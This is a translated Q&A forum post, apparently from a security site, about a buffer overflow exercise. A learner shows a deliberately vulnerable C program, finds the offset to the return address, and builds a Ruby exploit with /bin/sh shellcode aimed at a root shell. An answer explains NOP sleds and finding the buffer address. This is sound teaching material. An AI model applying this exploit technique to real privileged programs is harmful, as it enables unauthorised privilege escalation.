使用 shellcode 的缓冲区溢出练习

逆向工程 缓冲区溢出 外壳代码
2021-06-20 00:26:41

我一直在做一个关于 C 程序缓冲区重载的练习,这个问题的目标是在我将shellcode插入程序后获取 root shell这是我到目前为止所拥有的:

步骤 1.- 首先让我们在名为 file.c 的文件中查看我的 C 代码:

root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>

void premio()
{
     printf("I have altered the programs flow\n");
}

int main(int argc, char *argv[])
{
    char buffer[100];
    if (argc != 2)
   {
         printf("Use: %s argument\n",argv[0]);
         return -1;
    }
    strcpy(buffer,argv[1]);
    printf ("%s\n",buffer);
    return 0;
}

步骤 2.- 我已编译它并停用 ASLR 以避免接收随机地址,如下所示:

gcc -fno-stack-protector -z execstack buffer.c -o buffer

echo 0 > /proc/sys/kernel/randomize_va_space

步骤 3.- 让我们检查一下它是如何工作的:

root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault  (this means we have overwritten the EIP register)

root@kali:~# gdb ./file
(gdb) run  `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb) 

步骤 4.- 我们将使用以下方法找到 EIP 的位置值:

root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae

Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()

root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120

In this case we have found that if we write 120 characters the next 5 will be EIP

步骤 5.- -现在我们将创建一个脚本来用 shellcode 覆盖缓冲区,shellcode 取自:

\x31 \xc0                   xor eax, eax
\x50                        push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68        push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e        push 0x6e69622f
\x89\xe3                    mov ebx, esp
\x50                        push eax
\x53                        push ebx
\x89\xe1                    mov ecx, esp
\xb0\x0b                    mov al, 0xb
\xcd\x80                    int 0x80  

root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes

print (shell + aes + eip) #125 bytes total

步骤 6.- 现在我们必须知道必须跳转到哪个地址才能开始执行我们的 shell,但在这里我被卡住了,因为我不知道该怎么做。

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000000753 <+0>:     push   rbp
   0x0000000000000754 <+1>:     mov    rbp,rsp
   0x0000000000000757 <+4>:     add    rsp,0xffffffffffffff80
   0x000000000000075b <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x000000000000075e <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000000762 <+15>:    cmp    DWORD PTR [rbp-0x74],0x2
   0x0000000000000766 <+19>:    je     0x78a <main+55>
   0x0000000000000768 <+21>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000076c <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000000076f <+28>:    mov    rsi,rax
   0x0000000000000772 <+31>:    lea    rdi,[rip+0xf1]        # 0x86a
   0x0000000000000779 <+38>:    mov    eax,0x0
   0x000000000000077e <+43>:    call   0x5f0 <printf@plt>
   0x0000000000000783 <+48>:    mov    eax,0xffffffff
   0x0000000000000788 <+53>:    jmp    0x7b5 <main+98>
   0x000000000000078a <+55>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000078e <+59>:    add    rax,0x8
   0x0000000000000792 <+63>:    mov    rdx,QWORD PTR [rax]
   0x0000000000000795 <+66>:    lea    rax,[rbp-0x70]
   0x0000000000000799 <+70>:    mov    rsi,rdx
   0x000000000000079c <+73>:    mov    rdi,rax
   0x000000000000079f <+76>:    call   0x5d0 <strcpy@plt>
   0x00000000000007a4 <+81>:    lea    rax,[rbp-0x70]
   0x00000000000007a8 <+85>:    mov    rdi,rax
   0x00000000000007ab <+88>:    call   0x5e0 <puts@plt>
   0x00000000000007b0 <+93>:    mov    eax,0x0
   0x00000000000007b5 <+98>:    leave
   0x00000000000007b6 <+99>:    ret
End of assembler dump.

STEP 7.-这里假设找到地址将其放入漏洞利用脚本中更改eip的值,但我也不知道该怎么做,抱歉

(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
                   ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb

Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590:     Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000      0x00000000      0xffffe668      0x00007fff
0x7fffffffe5a0: 0xf7b9c168      0x00000002      0x55554753      0x00005555
0x7fffffffe5b0: 0x00000000      0x00000000      0xb3c231f4      0x54cfb08e
0x7fffffffe5c0: 0x55554610      0x00005555      0xffffe660      0x00007fff
0x7fffffffe5d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe5e0: 0xf76231f4      0x019ae5db      0x589031f4      0x019af56f
0x7fffffffe5f0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe600: 0x00000000      0x00000000      0xffffe680      0x00007fff
0x7fffffffe610: 0xf7ffe168      0x00007fff      0xf7de875b      0x00007fff
0x7fffffffe620: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb)

最后,它必须给我一个 root shell。

快要完成了,在第 6 步和第 7 步我真的卡住了,你能帮我吗?

1个回答

好的,所以我将尝试回答您的所有问题并添加一些评论。

  1. 不要在系统范围内禁用 ASLR,而是在当前进程中禁用它

    事实上,回荡0randomize_va_space会完全关闭ASLR你的整个系统,离开它容易受到外部攻击。如果您使用的是 Linux,在本地禁用 ASLR 的最佳方法是使用进程个性标志,如下所示:

    $> setarch $(uname -m) -R /bin/bash
    

    此命令将启动一个新bash进程(封装在第一个进程中……想想 Inception 电影),它将禁用 ASLR。好消息是你不需要root运行这个命令。不好的是,如果你运行的是setuid程序,那么个性就会被丢弃(以避免明显的安全风险)。

    最后,您可以注意到,如果您只是第一次尝试缓冲区溢出漏洞利用,那么gdb正在为您禁用 ASLR,出于教育目的,它可能足以使其在gdb.

    另外,尽量避免运行这些东西,因为root这是非常危险的......我忍不住告诉你作为一个简单的用户来做。

  2. 我的心在哪里^Wshellcode ?

    好吧,您的 shellcode 正好位于您的缓冲区地址。您可以简单地使用调试选项 ( -g)编译易受攻击的程序,然后让 gdb 告诉您它在哪里:

    (gdb) print &buffer
    
  3. NOP 引导您的注入,使漏洞利用更加可靠!

    请注意,您a在 shellcode 和 的覆盖之间编写了一堆s 作为填充saved eip,但是我们通常在 shellcode之前使用这个空间并用 NOP ( 0x90)填充它来构建 NOP 雪橇。这种技术有助于增加到达 shellcode 并执行它的机会(即使你不太准确地猜测 的地址buffer,你可能会进入 NOP-sled 并跟随它到达 shellcode)。最后,你应该有类似的东西:

    [NOP-sled + shellcode + return-address]
    
  4. 使用 Force^W 调试器,卢克!

    不要犹豫,通过执行ni(next-instruction) 和si(step-instruction)在汇编级别逐步执行程序,并按照发生的事情进行操作。这对于调试和了解发生的情况非常有帮助。

希望这对你有所帮助...